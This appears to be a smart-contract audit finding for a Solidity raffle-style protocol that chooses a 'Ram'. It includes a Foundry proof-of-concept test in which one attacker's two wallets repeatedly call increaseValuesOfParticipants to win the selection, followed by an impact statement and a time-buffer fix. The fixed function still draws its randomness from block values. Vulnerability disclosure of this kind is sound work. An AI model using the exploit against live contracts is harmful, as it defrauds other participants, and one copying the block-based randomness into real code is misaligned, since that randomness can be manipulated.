In this scenario the attacker enters as the first 2 participants.
function testDosAttack() public {
address attacker = makeAddr("attacker");
address attacker2 = makeAddr("attacker2");
vm.startPrank(attacker);
vm.deal(attacker, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
vm.startPrank(attacker2);
vm.deal(attacker2, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
vm.startPrank(attacker);
choosingRam.increaseValuesOfParticipants(0, 1);
choosingRam.increaseValuesOfParticipants(0, 1);
choosingRam.increaseValuesOfParticipants(0, 1);
choosingRam.increaseValuesOfParticipants(0, 1);
choosingRam.increaseValuesOfParticipants(0, 1);
vm.stopPrank();
console.log(choosingRam.selectedRam());
assertEq(choosingRam.selectedRam(), attacker2);
}
The attacker successfully called increaseValueOfParticipants 5 times in succession having their 2nd wallet become Ram.
Denies users a fair chance at becoming the selected Ram, hindering the functionality of the protocol.
Consider Implementing a time buffer for each user to prevent them from calling this function in rapid succession, leaving other users a chance to compete in the protocol.
You can modify the function to include a time buffer by implementing the following:
function increaseValuesOfParticipants(uint256 tokenIdOfChallenger, uint256 tokenIdOfAnyPerticipent)
public
RamIsNotSelected
{
+ require(block.timestamp >= lastCallTime[msg.sender] + BUFFER_DURATION, "You must wait before calling this function again");
if (tokenIdOfChallenger > ramNFT.tokenCounter()) {
revert("ChoosingRam__InvalidTokenIdOfChallenger");
}
if (tokenIdOfAnyPerticipent > ramNFT.tokenCounter()) {
revert("ChoosingRam__InvalidTokenIdOfPerticipent");
}
if (ramNFT.getCharacteristics(tokenIdOfChallenger).ram != msg.sender) {
revert("ChoosingRam__CallerIsNotChallenger");
}
if (block.timestamp > 1728691200) {
revert("ChoosingRam__TimeToBeLikeRamFinish");
}
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % 2;
if (random == 0) {
if (!ramNFT.getCharacteristics(tokenIdOfChallenger).isJitaKrodhah) {
ramNFT.updateCharacteristics(tokenIdOfChallenger, true, false, false, false, false);
} else if (!ramNFT.getCharacteristics(tokenIdOfChallenger).isDhyutimaan) {
ramNFT.updateCharacteristics(tokenIdOfChallenger, true, true, false, false, false);
} else if (!ramNFT.getCharacteristics(tokenIdOfChallenger).isVidvaan) {
ramNFT.updateCharacteristics(tokenIdOfChallenger, true, true, true, false, false);
} else if (!ramNFT.getCharacteristics(tokenIdOfChallenger).isAatmavan) {
ramNFT.updateCharacteristics(tokenIdOfChallenger, true, true, true, true, false);
} else if (!ramNFT.getCharacteristics(tokenIdOfChallenger).isSatyavaakyah) {
ramNFT.updateCharacteristics(tokenIdOfChallenger, true, true, true, true, true);
selectedRam = ramNFT.getCharacteristics(tokenIdOfChallenger).ram;
}
} else {
if (!ramNFT.getCharacteristics(tokenIdOfAnyPerticipent).isJitaKrodhah) {
ramNFT.updateCharacteristics(tokenIdOfAnyPerticipent, true, false, false, false, false);
} else if (!ramNFT.getCharacteristics(tokenIdOfAnyPerticipent).isDhyutimaan) {
ramNFT.updateCharacteristics(tokenIdOfAnyPerticipent, true, true, false, false, false);
} else if (!ramNFT.getCharacteristics(tokenIdOfAnyPerticipent).isVidvaan) {
ramNFT.updateCharacteristics(tokenIdOfAnyPerticipent, true, true, true, false, false);
} else if (!ramNFT.getCharacteristics(tokenIdOfAnyPerticipent).isAatmavan) {
ramNFT.updateCharacteristics(tokenIdOfAnyPerticipent, true, true, true, true, false);
} else if (!ramNFT.getCharacteristics(tokenIdOfAnyPerticipent).isSatyavaakyah) {
ramNFT.updateCharacteristics(tokenIdOfAnyPerticipent, true, true, true, true, true);
selectedRam = ramNFT.getCharacteristics(tokenIdOfAnyPerticipent).ram;
}
}
// Update the last call time for the user
+ lastCallTime[msg.sender] = block.timestamp;
}
}